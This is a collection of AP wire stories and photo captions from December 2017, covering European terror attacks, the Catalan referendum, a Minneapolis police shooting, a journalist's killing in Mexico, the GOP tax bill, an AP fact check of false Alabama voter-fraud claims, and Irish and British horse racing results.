FILE - In this Friday Aug. 18, 2017 file photo people look from inside a closed shop as counters and far-right protesters argue during a gathering after a van attack in Barcelona, Spain. (AP Photo/Emilio Morenatti, File)

FILE - In this Monday, Aug. 21, 2017 file photo two men look at flags, messages and candles placed on the ground after a van attack that killed at least 14 people in Las Ramblas promenade in Barcelona, Spain. (AP Photo/Emilio Morenatti)

FILE - In this Saturday, Aug. 19, 2017 file photo people pay respect at a memorial tribute of flowers, messages and candles to the victims on Barcelona's historic Las Ramblas promenade on the Joan Miro mosaic, embedded in the pavement where the van stopped after killing at least 13 people in Barcelona, Spain. (AP Photo/Manu Fernandez, File)

FILE - In this Saturday, Oct. 14, 2017 file photo Somalis remove the body of a man killed in a blast in the capital Mogadishu, Somalia. A huge explosion from a truck bomb has killed at least 20 people in Somalia's capital, police said Saturday, as shaken residents called it the most powerful blast they'd heard in years. (AP Photo/Farah Abdi Warsameh, File)

FILE - In this Friday, Nov. 17, 2017 file photo Zimbabwe's President Robert Mugabe sits for formal photographs with university officials, after presiding over a student graduation ceremony at Zimbabwe Open University on the outskirts of Harare, Zimbabwe. Mugabe made his first public appearance since the military put him under house arrest earlier this week. (AP Photo/Ben Curtis, File)

FILE - In this Tuesday, Nov. 21, 2017 file photo Zimbabweans celebrate outside the parliament building immediately after hearing the news that President Robert Mugabe had resigned, in downtown Harare, Zimbabwe. Mugabe resigned as president with immediate effect Tuesday after 37 years in power, shortly after parliament began impeachment proceedings against him. (AP Photo/Ben Curtis, File)

FILE - In this Monday, April 3, 2017 file photo, Alfred Wani lays on a bed in the clinic at the Imvepi refugee settlement in northern Uganda. Alfred fell ill during the night and had to have blood drawn. (AP Photo/Jerome Delay, File)

FILE - In this Thursday, Nov. 16, 2017 file photo, workers try to remove a vehicle wedged into the entrance of a home in the town of Mandra western Athens. A major flash flooding on Wednesday that left at least 21 people dead, turned streets into torrents of mud and debris that swept away cars, collapsed walls and submerged parts of a major highway. (AP Photo/Petros Giannakouris, File)

FILE - In this Wednesday, March 8, 2017 file photo riot police clash with protesting farmers outside the greek Agriculture Ministry, in Athens. Police fired tear gas to prevent farmers from forcing their way into the ministry building, while protesters responded by throwing stones. No injuries or arrests were reported. Protesters are angry at increases in their tax and social security contributions, part of the income and spending cuts Greece's left-led government has implemented to meet bailout creditor-demanded budget targets.(AP Photo/Thanassis Stavrakis, File)

FILE - In this image provided by Gabriele Sciotto taken on Saturday, June 3, 2017, one of the suspects from the London Bridge attack, wearing what appear to be canisters strapped to his chest, lies on the ground after being shot by police outside Borough Market in London. Dramatic footage from London's Borough Market shows three attackers viciously stabbing a man just before police converge and shoot them all dead. The footage, believed to be from a surveillance camera, shows the final moments of the attack that started when the three rammed a van into pedestrians on busy London Bridge late Saturday. (Gabriele Sciotto via AP)

FILE - In this Thursday March 23, 2017 file photo police forensic officers work in Parliament Square overseen by the statue of Winston Churchill outside the Houses of Parliament in London. On Wednesday a knife-wielding man went on a deadly rampage, first driving a car into pedestrians then stabbing a police officer to death before being fatally shot by police within Parliament's grounds in London. (AP Photo/Kirsty Wigglesworth, File)

FILE - In this Tuesday, April 11, 2017 file photo Nazi concentration camp survivor Alexander Bytschok of Kiev, Ukraine, mourns on a metal plaque during the commemoration ceremonies for the 72th anniversary of the liberation of the former Nazi concentration camp Buchenwald near Weimar, Germany. (AP Photo/Jens Meyer, File)

In this photo taken on Friday, July 14, 2017, a student at a paramilitary camp for children calls the rank to attention outside Kiev, Ukraine. As the deadly conflict in eastern Ukraine entered its third year, some parents in Ukraine are anxious to make sure their children are ready to fight it, instead of swimming and playing volleyball.(AP Photo/Efrem Lukatsky)

FILE - In this Tuesday May 23, 2017 file photo people cry after a vigil in Albert Square, Manchester, England, the day after the suicide attack at an Ariana Grande concert that left 22 people dead as it ended on Monday night. (AP Photo/Emilio Morenatti, File)

FILE - In this Wednesday, March 15, 2017 file photo an elderly woman wearing a traditional hat waits her turn to cast her vote for the Dutch general elections at a polling station in a school in Staphorst, Netherlands. Mark Rutte, the Dutch prime minister who had pushed the electorate through five years of tough economic measures, emerged victorious in a bruising battle with Geert Wilders, whose relentless invective against all things Muslim and anything from the European Union failed to earn him the breakthrough that many had come to count on as a given. (AP Photo/Muhammed Muheisen, File)

FILE - In this Friday May 19, 2017 file photo Julian Assange looks out the window from the Ecuadorian embassy in London. Sweden's top prosecutor says she is dropping an investigation into a rape claim against WikiLeaks founder Julian Assange after almost seven years. Assange took refuge in Ecuador's embassy in London in 2012 to escape extradition to Sweden to answer questions about sex-crime allegations from two women. (AP Photo/Frank Augstein, File)

FILE - In this Saturday, Feb. 18, 2017 file photo riot Police officers apprehend a protester during clashes at a demonstration against alleged police abuse, in Paris. Anti-racism groups and other activists are gathered in Paris in support of victims of police violence, after a young black man was allegedly raped with a police baton in an incident that prompted violent protests in impoverished suburbs. (AP Photo/Francois Mori, File)

FILE - In this Friday, April 21, 2017 file photo a bullet hole is pictured on a shopwindow of the Champs Elysees boulevard in Paris. France began picking itself up Friday from another deadly shooting claimed by the Islamic State group, with President Francois Hollande convening the government's security council and his would-be successors in the presidential election campaign treading carefully before voting this weekend. (AP Photo/Christophe Ena, File)

FILE - In this Sunday, 1 Oct. 2017 file photo Spanish riot police shoots rubber bullet straight to people trying to reach a voting site at a school assigned to be a polling station by the Catalan government in Barcelona, Spain. (AP Photo/Emilio Morenatti, File)

FILE - In this Sunday, 1 Oct. 2017 file photo Spanish riot police swings a club against would-be voters near a school assigned to be a polling station by the Catalan government in Barcelona, Spain. Spanish riot police have forcefully removed a few hundred would-be voters from several polling stations in Barcelona. (AP Photo/Manu Fernandez, File)

FILE - In this Tuesday Oct. 3, 2017 file photo a woman wearing an estelada or independence flag walks a long a street covered with referendum ballots threw by pro-independence demonstrators, during a rally in front of the Spanish Partido Popular ruling party headquarters in Barcelona, Spain. Labor unions and grassroots pro-independence groups are urging workers to hold partial or full-day strikes throughout Catalonia to protest alleged brutality by police during a referendum on the region's secession from Spain that left hundreds of people injured. (AP Photo/Emilio Morenatti, File)

FILE - In this Tuesday Oct. 3, 2017 file photo a couple, tourists from Switzerland, sunbath at a terrace overlooking Universitat square as demonstrators gather in protest in downtown Barcelona, Spain. Labor unions and grassroots pro-independence groups are urging workers to hold partial or full-day strikes and demonstrations throughout Catalonia to protest alleged brutality by police during a referendum on the region's secession from Spain that left hundreds of people injured. (AP Photo/Enric Marti, File)

FILE - In this Saturday, Nov 11, 2017 file photo an independence flag is waved as demonstrators take part at a protest calling for the release of Catalan jailed politicians, in Barcelona, Spain. Eight members of the now-defunct Catalan government remain jailed in a related rebellion case. Former regional president Carles Puigdemont and four other ex-cabinet members fled to Belgium where they are fighting extradition. (AP Photo/Emilio Morenatti, File)

FILE - In this Sunday, 1 Oct. 2017 file photo pro-referendum supporters gather at a school assigned to be a polling station by the Catalan government in Barcelona, Spain. Catalan pro-referendum supporters vowed Saturday to ignore a police ultimatum to leave the schools they are occupying to use in a vote seeking independence from Spain. (AP Photo/Emilio Morenatti, File)

FILE - In this Saturday, March 25, 2017 file photo a woman argues as Belarus police block a street during an opposition rally in Minsk, Belarus. A cordon of club-wielding police blocked the demonstrators' movement along Minsk's main avenue near the Academy of Science. Hulking police detention trucks were deployed in the city center. (AP Photo/Sergei Grits, File)
MINNEAPOLIS (AP) - The head of the Minneapolis police union said Tuesday that officers were "heroic" in shooting a man to try to stop him from cutting his own throat with a knife at City Hall.

The incident happened Monday in an interview room at the Minneapolis Police Department, which is inside City Hall. Police Chief Medaria Arradondo said Monday the man was alone in the interview room when he pulled out the weapon and began harming himself. Officers shot him after attempting to subdue him, and the wounded man was taken to a hospital.

Union president Bob Kroll said Tuesday that video of the incident will show the officers tried to de-escalate the situation before shooting.

"The officers, not only did they not take a life, they saved a life," he said. "It's nothing short of heroic."

The shooting is being investigated by the Bureau of Criminal Apprehension, which investigates most police shootings in the state. In a news release Tuesday night, the BCA identified the man who was shot as 18-year-old Marcus Fischer of Minneapolis and said he is at a hospital being treated for his injuries. It did not provide details about his condition.

It wasn't immediately clear how the man got a weapon into the interview room.

The BCA said it would provide additional information, including the names of the officers who fired their weapons, after initial interviews are completed. Several officers have been placed on leave.

While Kroll declined to talk about details of the shooting itself because of that investigation, he said the man had just confessed to a shooting and an investigator left the interview room to go get him water. The investigator returned to find the man harming himself with a knife. Kroll said the man was cutting his own throat.

"This was a very gruesome scene," Kroll said. "Veteran officers, very experienced officers, were very shaken after all of this."

Kroll said he hopes the video is released as soon as possible so the public will understand what happened. He estimated officers tried to de-escalate the situation for about 10 minutes before they had to make a decision.

"They were going to lose him if they didn't intervene," he said. "This guy was set on taking his own life, no mistake about it."

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Follow Amy Forliti on Twitter: http://www.twitter.com/amyforliti. More of her work at https://apnews.com/search/amy%20forliti.
MINEOLA, N.Y. (AP) - Authorities say a New York couple who pocketed thousands of dollars in donations for a 5-year-old boy with cancer is back in custody.

Brittney Schmidt and Vincent Fina were originally expected to get probation - but they failed to appear for their sentencing last week.

Their plea deal may be rescinded and they could now face up to three years in prison.

A Long Island judge ordered Schmidt held without bail Tuesday. She's due back in court Jan. 8. Her lawyer had no comment. The judge has yet to indicate whether he may rescind the plea deal.

New York City police say Fina has been arrested in an unrelated Brooklyn robbery. It's not clear when he'll appear in the Long Island court.

Information on Fina's lawyer was not immediately available.
FARGO, N.D. (AP) - A judge has set bail at $5 million cash for a Catholic priest accused of molesting two boys in North Dakota in the 1990s.

KFGO radio reports that Fernando Laude Sayasaya appeared in court on Tuesday via video from the Cass County Jail. He's facing two counts of gross sexual imposition.

Sayasaya was recently returned to the United States from the Philippines, where he had been since 1998. A Philippines court ordered his extradition in 2010. He appealed, lost and was ultimately arrested last month.

Prosecutors allege that Sayasaya abused two underage siblings from 1995 to 1998, while he was assigned to the Blessed Sacrament Catholic Church and St. Mary's Cathedral in the Fargo area.

They argued that Sayasaya was a flight risk. He didn't oppose the bail amount.

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Information from: KFGO-AM, http://www.kfgo.com
READING, Pa. (AP) - The pastor of a Pennsylvania congregation that avoids modern medicine has been cleared of a charge that he should have alerted authorities to possible child abuse when his 2-year-old granddaughter was dying of pneumonia.

A judge on Monday dismissed the charge of failure to report suspected abuse against 72-year-old Rowland Foster in the 2016 death of Ella Grace Foster.

The Reading Eagle says Berks County Judge Theresa Johnson ruled in a pretrial hearing there wasn't sufficient evidence to support the allegation.

Foster is pastor of Faith Tabernacle Congregation, which instructs members to avoid doctors and pharmaceutical drugs. Under Pennsylvania law, pastors are required to report suspected child abuse.

A pathologist had previously testified that Foster's granddaughter would have almost certainly survived if she had been given antibiotics.

Messages left for Foster and his attorney weren't immediately returned Tuesday.

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Information from: Reading Eagle, http://www.readingeagle.com/
XALAPA, Mexico (AP) - Attackers burst into an elementary school where a Christmas party was taking place and shot reporter Gumaro Perez to death Tuesday, making him at least the 10th journalist slain in Mexico this year in what observers have called a crisis of freedom of expression.

The Veracruz state security coordinator said in a statement that dozens of parents and children were present when the unidentified attackers shot Perez, whose own child attends the school in the city of Acayucan.

Perez, 34, covered crime for a number of local outlets, had founded the online news site La Voz del Sur and also worked for the local government in some capacity.

He was part of a state program designed to protect journalists as they carry out certain "high-risk" coverage, separate from a federal government program known as "the mechanism" that offers reporters measures like panic buttons on their cellphones and home security.

"He belonged to the preventive program for safe coverage of this Commission since 2015, which refers to mechanisms for reporting that diminish danger in high-risk events," the Veracruz State Commission for Attention and Protection of Journalists said in a statement. "Nevertheless, regrettably, he had not made us aware of having received any threats that could have put him at risk."

Commission president Ana Laura Vazquez said the group would monitor the investigation and urged the government of the Gulf coast state to bring his killers to justice.

Adelina Mendoza, Perez's widow, said in an interview published by the local branch of the online news outlet E-Consulta that for the last year she had begged him to leave journalism and open a restaurant with her, but he refused.

She told E-Veracruz.mx that Perez arrived on time at the holiday party Tuesday and planned to keep their son company so she could leave early.

While Perez remained indoors, "I went outside and my son went out of the room with his little friends," Mendoza was quoted as saying. "I hugged him, I gave him a kiss because I was leaving, and right then I heard the gunshots. But I thought they were fireworks that some child had brought."

"God knows how to do things, because my son never saw his father die," she said.

Gov. Miguel Angel Yunes condemned the shooting and said he ordered state police to provide protection to the journalist's family.

U.S. Ambassador to Mexico Roberta Jacobsen wrote on Twitter that she was offended by Perez's death at the hands of "cowardly killers."

"The truth cannot be killed by killing journalists," Jacobsen tweeted.

Mexico is one of the world's deadliest countries for journalists, and Veracruz, plagued by drug gang violence and corruption, is seen as the worst state, with several killed there this year

They include Candido Rios, a hard-nosed crime reporter for Diario de Acayucan, who was shot dead Aug. 22 at a highway gas station convenience store about 25 miles (40 kilometers) from Acayucan despite having been enrolled in the federal protection program.

Newspaper columnist Ricardo Monlui was killed in the Veracruz town of Yanga, near the city of Cordoba, on March 19 as he left a restaurant with his wife and son. The attacker appeared to have been lying in wait.

And Armando Arrieta Granados, news editor for the newspaper La Opinion de Poza Rica, Veracruz, was seriously wounded in late March in a shooting outside his home.

According to the New York-based Committee to Protect Journalists, 95 journalists have been killed in Mexico since 1992. In 43 of those cases the motive has been confirmed as being directly related to the victims' work - including six in 2017, higher than any other year in that period, the group says.

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Associated Press writer Peter Orsi in Mexico City contributed to this report.
It's been a bit since Terry Bouck was a classroom teacher.

"Do you bring apples to your teachers anymore?" the School District 2 superintendent asked jokingly. "Or it is lattes?"

Bouck was speaking to a Skyview High School sociology class where students can earn college credit, explaining the inner workings of a school district that students will have to consider when they take on their end of the unit project: creating their own school.

Teacher Coul Hill recalled an offer of coffee from one student, but students had only questions for Bouck on Monday.

It was unsurprising that Bouck, who was previously a teacher and principal, sometimes encountered a quiet class on topics like school board meetings and wonky policy issues like school funding.

But students did ask about Professional Learning Communities, a professional development initiative rolled out across the district this year. Bouck said that the teacher planning sessions are working better in their first year than when he rolled them out at his previous district in Washington, but the more visible issue for students was the early-dismissal time Wednesdays.

They also asked about Signs of Suicide, a mental health screening program that sixth-graders and freshman across the district took this year; what will happen if Lockwood builds a new high school (a topical the K-8 district is expected to vote on in May); how the district's two new middle schools were named; and what's the hardest part of Bouck's job.

Many of his answers revolved around money  whether the district had resources to continue or expand an initiative, with highlights on recent state budget cuts. Others, like talking about student suicides, focused on relationships.

"I'm asking and pleading with all of you, that if you have friends that are struggling, please let an adult know that you trust," he said.

The phone calls that Bouck gets when there is a student tragedy are the hardest parts of what he does, he said.

Dual perspectives

Hill's assignment blends a personal topic for students with policy.

"Public education is something that most people go through," he said, and therefore they tend to believe that their experience informs them of the inner workings of a district.

"The reality is it's just a fraction of it," he said.

To widen students' views, Hill works to bring in outside speakers, especially those who can speak on career-based topics  most students in the class are high school seniors.

Hill picked up that focus from John Simpson, who previously taught the course, as well as the school creation project.

Bouck addressed that career focus, talking about additions in courses students can take for college credit and the Career Center.

"What type of future do you want?" he asked. "We should be helping you experiment."
AUSTIN, Texas (AP) - A man who sued over the right to marry his partner said Tuesday that he is running as a Democrat in 2018 in a bid that would make him the first openly gay state senator in Texas if elected.

Mark Phariss, a lawyer from the Dallas suburb of Plano, said he is encouraged by recent high-profile Democratic upsets in Virginia and Alabama as he launches his first run for public office in Dallas' conservative northern suburbs.

Phariss and his partner, Vic Holmes, were the lead plaintiffs in a 2013 lawsuit over a Texas ban on gay marriage. The U.S. Supreme Court legalized same-sex marriage nationwide two years later.

FILE - In this Sept. 25, 2015, file photo, Mark Phariss, left, and Victor Holmes celebrate getting their marriage license at the Bexar County Marriage License Office in San Antonio. Phariss, who sued over the right to marry his partner said Tuesday, Dec. 19, 2017, that he is running as a Democrat in 2018 in a bid that would make him the first openly gay state senator in Texas if elected. (Lisa Krantz/The San Antonio Express-News via AP File)/The San Antonio Express-News via AP)

His candidacy sets up a possible race next year against Angela Paxton, the wife of Republican Texas Attorney General Ken Paxton. Both Phariss and Angela Paxton, a school guidance counselor, face primary challengers.

"We're spending too much time on issues that do not affect the daily lives of Texans like education does," Phariss said of the Republican-controlled Legislature and Texas GOP leaders.

Winning will require flipping a Senate district that has been reliably Republican: The outgoing senator, Republican Van Taylor, won with nearly 80 percent of the vote in 2014. Ken Paxton also held the seat before becoming attorney general in 2015, when he advised county clerks following the Supreme Court decision on gay marriage that they could deny same-sex marriage licenses over religious objections.

Phariss' lawsuit over the Texas gay marriage ban put him up against an old friend - Republican Texas Gov. Greg Abbott, who was the state attorney general at the time and defended the ban in that role. Abbott was friends with Phariss in law school and said in 2014 that he still considered him a friend, even though they had lost touch years earlier.

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Follow Paul J. Weber on Twitter: www.twitter.com/pauljweber
PHOENIX (AP) - A lawsuit alleging excessive force has been filed against the city of Phoenix in the death of a homeless man during a struggle with police officers nearly a year ago outside a community center.

Muhammad Abdul Muhaymin, 43, died shortly after officers took him into custody for having an outstanding criminal warrant. Police were called to the Maryvale Community Center after a dispute arose there over whether Muhaymin, who suffered from mental disabilities, could bring his service dog into a public bathroom with him.

The lawsuit, filed earlier this month by Muhaymin's sister, seeks $10 million from the city. It alleges excessive force and wrongful death, saying officers caused the death by using unjustified force in restraining Muhaymin, who suffered from post-traumatic stress disorder, schizophrenia and acute claustrophobia.

The Phoenix Police Department on Tuesday declined to comment on the lawsuit. The agency also declined to specify the charge that Muhaymin faced in the outstanding warrant or say whether any officers were disciplined as a result of the encounter.

David Chami, the lawyer representing Muhaymin's sister, said one officer at the scene escalated tensions by approaching Muhaymin in an aggressive manner and shouting at him. "Their job is to de-escalate the situation," Chami said.

Muhaymin was eventually allowed to go into the bathroom at the community center, but officers who ran a records check on him then discovered he had an outstanding warrant, according to the lawsuit. Officers told him that he was under arrest after he was escorted out of the building.

The lawsuit said officers didn't answer Muhaymin's questions about what the warrant was for and told him to put his dog down on the ground. Officers eventually knocked the dog out of Muhaymin's hands after he said he didn't have anyone to care for the animal, according to the lawsuit.

He was forced to the ground by officers and handcuffed in a struggle. The lawsuit said officers placed the weight of their bodies on Muhaymin's head, back and limbs. Muhaymin screamed as he struggled with officers.

After officers brought Muhaymin to the center's parking lot, the struggle continued, with officers forcing him to the ground again. Officers put their weight top of Muhaymin while another officer asked for restraints to restrict him from walking, the lawsuit said.

Body-camera video of the encounter showed officers urging Muhaymin, who was handcuffed and laying face-down on the ground, to stop moving.

"I can't breathe," Muhaymin told officers.

Muhaymin went into cardiac arrest, began vomiting and died. An officer tried to resuscitate him, according to the lawsuit.

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Follow Jacques Billeaud at twitter.com/jacquesbilleaud. His work can be found at https://www.apnews.com/search/jacques%20billeaud.
WASHINGTON (AP) - House Speaker Paul Ryan defied skeptics who thought his party would never get the sweeping tax overhaul bill to President Donald Trump's desk by Christmas. The key, the Wisconsin Republican said minutes after gaveling down a House vote on the measure on Tuesday, was uniting Republicans behind a common plan from the start - and relying on Republicans to do what comes naturally to them: Cut taxes.

"We learned lessons from health care, no two ways about it. No. 1, get the conservative movement on board. No. 2, when we go, make sure the Senate is ready to go with us," Ryan told The Associated Press in an interview, contrasting the tax measure with the party's pratfall on repealing so-called Obamacare. "That's why we decided to negotiate the basic outlines of this plan ahead of time."

House passage of the GOP's long-sought, hard-fought tax bill on Tuesday is the capstone of Ryan's career and the bipartisan agenda ahead for early next year- immigration and huge spending increases - threatens to splinter his party and inflame the hard right. Rumors have been flying that Ryan would soon call it quits, but he assured his Republican brethren Tuesday that he's not leaving his job "anytime soon."

House Speaker Paul Ryan, R-Wis., speaks in his office just after final approval of the Republican rewrite of the tax code, during an interview with The Associated Press at the Capitol in Washington, Tuesday, Dec. 19, 2017. Ryan defied skeptics who thought his party would never get the sweeping tax overhaul bill to President Donald Trump's desk by Christmas. The key, the Wisconsin Republican said minutes after gaveling down a House vote on the measure on Tuesday, was uniting Republicans behind a common plan from the start.(AP Photo/J. Scott Applewhite)

The speaker was gleeful as he slammed down the gavel and announced the House vote with his GOP colleagues roaring approval. Hours later, it turned out the celebration was a bit premature as a last-minute glitch surfaced in the Senate. Three provisions of the bill violated Senate rules, requiring their removal and a House vote again on Wednesday.

Unlike the divisions that consumed Republicans on Obamacare repeal - there was agreement about repealing the Affordable Care Act but disagreement over how to replace it - Republican divisions on taxes were relatively minor, Ryan said.

"It's an easier issue because we all are more or less wired the same," Ryan said in his Capitol office. "Our DNA is similarly structured as Republicans. We are more or less agreed on how to do it. We did not necessarily have that on health care."

The fracture suggests Republicans will face problems next year if they try again to dismantle Barack Obama's Affordable Care Act.

Ryan acknowledges that the tax measure probably won't pay for itself, and he recognizes that it's polling poorly with the voters who are supposed to embrace it.

"I don't know whether this will pay for itself or not, but I do know that this is going to create the kind of growth we need to get out of the hole we're in," he said.

Looking back on the saga, Ryan said the decision to abandon his controversial "border adjustment tax" on imports was a cause for alarm. The numbers might not work.

In fact, Ryan confessed Tuesday, he initially thought there was no way to cut the top corporate rate down to 20 or 21 percent without the border tax.

"When we lost BAT (border adjustment tax) I was hoping to land at 25 (percent corporate rate)," Ryan said. "I was just hoping to get below 25. I did not think we would land at 21."

Ryan's political future has been the subject of widespread speculation in Washington publications such as Politico and others.

"I'm not going anywhere anytime soon, and just let's leave that thing at that," Ryan told reporters when asked if he'd seek re-election to his House seat next year.

Parsing Ryan's statements could lead one to conclude that he won't leave immediately but that even if Republicans hold the House next year he may not return to the Speaker's job he reluctantly took on two years ago.

"I'll address my future in the future," he told The Associated Press. "Right now, I'll just enjoy this moment. I've got no plans to do anything different."

House Speaker Paul Ryan, R-Wis., speaks in his office just after final approval of the Republican rewrite of the tax code, during an interview with The Associated Press at the Capitol in Washington, Tuesday, Dec. 19, 2017. Ryan defied skeptics who thought his party would never get the sweeping tax overhaul bill to President Donald Trump's desk by Christmas. The key, the Wisconsin Republican said minutes after gaveling down a House vote on the measure on Tuesday, was uniting Republicans behind a common plan from the start.(AP Photo/J. Scott Applewhite)
OTTAWA, Ontario (AP) - The United States and Canada say nations from around the world will convene on Jan. 16 to show solidarity against North Korea's nuclear program.

U.S. Secretary of State Rex Tillerson is meeting in the Canadian capital with Canadian Foreign Minister Chrystia Freeland. They say the meeting will take place in Vancouver.

The meeting involves the "sending states" that sent forces as part of a United Nations command to support South Korea during the Korean War. They'll be joined by additional countries including Japan, South Korea and India.

Tillerson says the meeting aims to advance the pressure campaign on North Korea and to send a unified message that the global community won't accept the North becoming a nuclear state. He says the pressure campaign will keep intensifying.
FORT HOOD, Texas (AP) - The commander leading the campaign against the Islamic State in the Middle East says challenges remain despite pushing the militant organization from some territories throughout the region.

Fort Hood commander Lt. Gen. Paul E. Funk II spoke with Texas media outlets in a video conference from Baghdad, Iraq, on Monday.

"We've got a victory here (in Iraq)," Funk said. "We still have some hard fighting to do in Syria."

Funk said about 240 soldiers from the sprawling Army post in Texas left for a yearlong deployment in August. The soldiers are a part of the Combined Joint Task Force-Operation Inherent Resolve, a global coalition formed to fight the Islamic State.

The coalition gives Iraqi and Syrian forces training, advice and assistance, including direct artillery and airstrikes on enemy forces.

"There has been a tremendous increase in the confidence and will of the Iraqi Security forces and the Syrian Democratic Forces," Funk said. "In 2015, (IS) had over 7 million people under their evil control. Now, at almost Christmastime 2017, about 6.8 million of those people have been liberated."

Funk said areas in the region face a lengthy rebuilding process. He said troops will have to work to clear more than 8,000 improvised explosive devices left in Raqqa, Syria, by fleeing IS soldiers in order to make the area livable again.

"We are winning here, but we have to act now," Funk said. "We have to get the international community to help the Iraqis."
WILLIAMSON, W.Va. (AP) - An Ohio man was sentenced Tuesday to life in prison with the chance of parole after 15 years in the fatal shooting of a coal executive at a West Virginia cemetery.

A Mingo County circuit judge added two consecutive one-to-five-year sentences for first-degree robbery and conspiracy to Anthony Raheem Arriaga's life sentence for first-degree murder in the death of Bennett "Ben" Hatfield, WCHS-TV reported.

Hatfield, 59, was shot while visiting his wife's gravesite in Maher in May 2016, a year after he resigned as CEO and president of Patriot Coal, which filed for bankruptcy citing low coal prices and falling demand. At the time he was operating his own mining consulting business, Coal Strategies LLC.

File-This May 24, 2016, file photo shows Anthony Raheem Arriaga in a photo provided by the Allen County (Ohio) Sheriff's office. Arriaga of Delphos, Ohio, was sentenced Tuesday in Mingo County Circuit Court. A jury in October found him guilty of first-degree murder, first-degree robbery and two counts of conspiracy in the May 2016 death of Bennett "Ben" Hatfield. (Allen County (Ohio) Sheriff's Office via AP)

According to testimony at trial, Arriaga, 22, of Delphos, Ohio, told police he shot Hatfield in the back in a plan to steal his GMC Yukon Denali and sell it for parts. Arriaga had said he had been using drugs and had little sleep over several days.

In April, Arriaga pleaded guilty to murder and robbery charges, but later withdrew his plea. He claimed that co-conspirator Brandon Fitzpatrick was the one who fired the gun.

At his trial earlier this month, Fitzpatrick said he was with Arriaga and knew Arriaga had a gun when they pulled behind Hatfield's SUV at the cemetery.

Fitzpatrick, 20, of Louisa, Kentucky, was convicted of first-degree murder and conspiracy to commit robbery. He is scheduled to be sentenced Jan. 18 and faces up to life in prison with the chance of parole after 15 years.

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Information from: WCHS-TV, http://www.wchstv.com

File- This May 4, 2006, file photo shows International Coal Group chief executive Bennett Hatfield making his closing statement during the final day of the Sago Mine disaster hearings, in Buckhannon, W.Va. Anthony Raheem Arriaga of Delphos, Ohio, was sentenced Tuesday, Dec. 19, 2017, in Mingo County Circuit Court in Williamson, W. Va. A jury in October found him guilty of first-degree murder, first-degree robbery and two counts of conspiracy in the May 2016 death of Hatfield. (AP Photo/Dale Sparks, File)
In the aftermath of Alabama's high-profile Senate election, some sites are spreading false information about supposed voter fraud in Democrat Doug Jones' upset victory over Republican Roy Moore.

The Associated Press checked these out; here are the real facts:

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NOT REAL: Three poll workers arrested for allowing 3,000 invalid votes for Doug Jones

THE FACTS: The Alabama secretary of state's office says no poll workers were arrested in Birmingham, despite a viral site's report, and said the individuals named in the piece were not poll workers on Election Night. A story published by a satire site called reaganwasright.com said "Alabama State Police" arrested three poll workers for allowing 3,000 unqualified voters to cast ballots. The secretary of state's office said the names given in the story as the arrested individuals were not poll workers. It is not clear if they are real people. The site also gives a false name, Applevale, for the county where Birmingham is located and quotes a fake division and office of the state attorney's office. The site also claims Moore is considering filing an injunction in the 17th District Federal Court of Appeals. There is no such court.

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NOT REAL: Busload of black voters arrested coming into state to vote illegally

THE FACTS: Police in Selma, Alabama, did not arrest 27 African-American men and women who were bused into the state, as the site coptimes.com claims. Both Alabama Secretary of State John Merrill and Selma Police Chief Spencer Collier say the story is false. The site says the people were arrested at Warsaw Middle School. No such school exists. The site also gives a fake name for the Selma police chief.

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NOT REAL: BREAKING: Alabama military absentee ballots just came in and ruined Democrats' day

THE FACTS: Alabama's 67 counties were counting those ballots on Tuesday and did not yet have a final tally of them, despite the claims of the site americanrevolution.co. The Alabama secretary of state said Tuesday he did not yet know how many total overseas ballots had been submitted. Merrill said previously it was "very unlikely" that last-minute ballots - including write-ins, provisional ballots and military votes- would change the outcome of the race. The site claims that 18,000 absentee ballots were mailed in from overseas and most of those were cast for Moore. The story also repeats false claims that police arrested a busload of black voters coming into the state and a van carrying immigrants in the country illegally who were said to be traveling between polling places.

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This is part of The Associated Press' ongoing effort to fact-check misinformation that is shared widely online, including work with Facebook to identify and reduce the circulation of false stories on the platform.

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Find all AP Fact Checks here: https://www.apnews.com/tag/APFactCheck
Killahara Castle etched her name into the history books at Thurles as she became the first horse to win at 200-1 in Ireland when causing a huge upset in the Irish Stallion Farms EBF Boreen Belle Mares Novice Hurdle.

The six-year-old, trained by John Burke, opened her account at the 21st attempt to take Listed honours at the main expense of 8-13 favourite True Self, from the champion stable of Willie Mullins.

Ridden by the trainers brother, Martin, and owned by their sister, Elaine, Killahara Castle led between the last two flights to run out a clear winner by five lengths.

Killahara Castle - a Listed winner at 200/1 at @thurlesraces! pic.twitter.com/UYwilQvcQB  At The Races (@AtTheRaces) December 17, 2017

The winning rider said: We were just hoping for a bit of black type and stuck her in hoping it would break up a bit better than what it did, but once she was in, we said we might as well run her.

She has rakes of ability, but its all in her head, if we could get it out. They went a good gallop and they just came back and she stayed galloping.

This isn't a mistake on our fast results page in case you're wondering  pic.twitter.com/BcVysW34gM  Sporting Life Racing (@SportingLife) December 17, 2017

He added: The smaller field suited her as well, as she is usually really keen but settled lovely today and everything went right.

We have four horses for the track and 14 altogether between breakers. Im in with John every evening and ride work for Tim Doyle.

Thats my biggest win and first Listed win.

Martin Burke had a day to remember at Thurles (Brian Lawless/PA)

The last 200-1 winner in Britain was Dandy Flame at Wolverhampton in July 2016, while the longest-priced winner was 250-1 shot Equinoctial at Kelso in November 1990.

Elsewhere on the card, Joseph OBriens Rhinestone earned a quote of 16-1 with RaceBets for the champion bumper at Cheltenham after he spreadeagled the field in the Ryan Tarmacadam (Pro/Am) INH Flat Race on his second appearance.

The 11-4 chance, ridden by Derek OConnor, was left in front when the Burke-trained Darcis Boy ran out after five furlongs and steadily pulled away to score by 19 lengths from the 4-7 favourite Sancta Simone.
Musselburgh winner Silver Concorde could be in line for a return to the Cheltenham Festival after claiming his second success since joining Keith Dalgleish.

The nine-year-old saw off Shaneshill to win the 2014 Champion Bumper for Dermot Weld but changed hands for 33,000 euro at Goffs in October after he failed to replicate that form over hurdles.

The move to Scotland appears to have given Silver Concorde a new lease of life as, having bolted up on his debut for new connections at Musselburgh last month, he comfortably followed up on his return to the track.

Silver Concorde was sent off the 1-10 favourite for the Jump To It And Join Racing UK Novices Hurdle and duly obliged by 12 lengths in the hands of Brian Hughes.

A case of how far for Silver Concorde, the 2014 Champion Bumper winner, in the first @MusselburghRace for @DalgleishRacing ? pic.twitter.com/yeWHzKCMfy  Racing TV (@RacingTV) December 18, 2017

Dalgleish told Press Association Sport: He was quite impressive again and he is definitely something to look forward to stepping up in class.

I suppose he does look a bargain now. It just depends now what happens when we step him up in class.

Only time will tell how good he is.

Silver Concorde winning the 2014 Champion Bumper at the Cheltenham Festival (David Davies/PA)

Silver Concorde received a quote of 50-1 for the Ballymore Properties Novices Hurdle at the Festival in March.

